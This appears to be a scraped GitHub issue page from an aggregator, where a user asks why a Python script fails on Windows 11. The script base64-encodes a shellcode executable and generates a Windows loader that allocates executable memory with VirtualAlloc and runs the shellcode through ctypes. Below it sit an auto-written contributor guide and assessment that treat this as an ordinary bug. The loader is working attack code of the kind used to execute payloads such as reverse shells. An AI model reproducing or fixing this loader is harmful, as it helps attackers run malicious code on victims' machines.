practical-tutorials / practical-tutorials/project-based-learning
i need know why and how to do🥹
Nobody has claimed this yet.
- Dominant language
- Python
- Stars
- 284k
- Forks
- 36.3k
- PR merge metrics
- No merged PRs in 30d
Description
The code running in Kali linux
windows_script.py
with open('shellcode.exe', 'rb') as shellcode_file:
shellcode = shellcode_file.read()
import base64
encoded_shellcode = base64.b64encode(shellcode).decode('utf-8')
with open('windows_script.py', 'w') as f:
f.write(f'''import base64
import ctypes
decoded_shellcode = base64.b64decode("{encoded_shellcode}")
kernel32 = ctypes.windll.kernel32
shellcode_buffer = kernel32.VirtualAlloc(
ctypes.c_void_p(None),
len(decoded_shellcode),
0x1000 | 0x2000, # MEM_COMMIT | MEM_RESERVE
0x40 # PAGE_EXECUTE_READWRITE
)
if not shellcode_buffer:
raise MemoryError("VirtualAlloc failed to allocate memory")
ctypes.memmove(ctypes.c_void_p(shellcode_buffer), decoded_shellcode, len(decoded_shellcode))
shell_func = ctypes.CFUNCTYPE(ctypes.c_void_p)(shellcode_buffer)
shell_func()
''')
#The error result of the generated. py file running on Win11 is shown in the figure
Contributor guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start with the attached error image and the generated windows_script.py, then compare how the script is produced in Kali Linux with how it is run on Windows 11. A resolution would need to identify the reported failure and define the supported execution environment, but the issue does not include enough error text or project context to establish what “done” means.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- python
- Domain
- operating-systems, security
- Issue type
- Bug
- Difficulty
- 5/5
- Estimated time
- Over a week
- Activity status
- Stale
- Clarity
- Needs clarification
- Newbie friendliness
- 15/100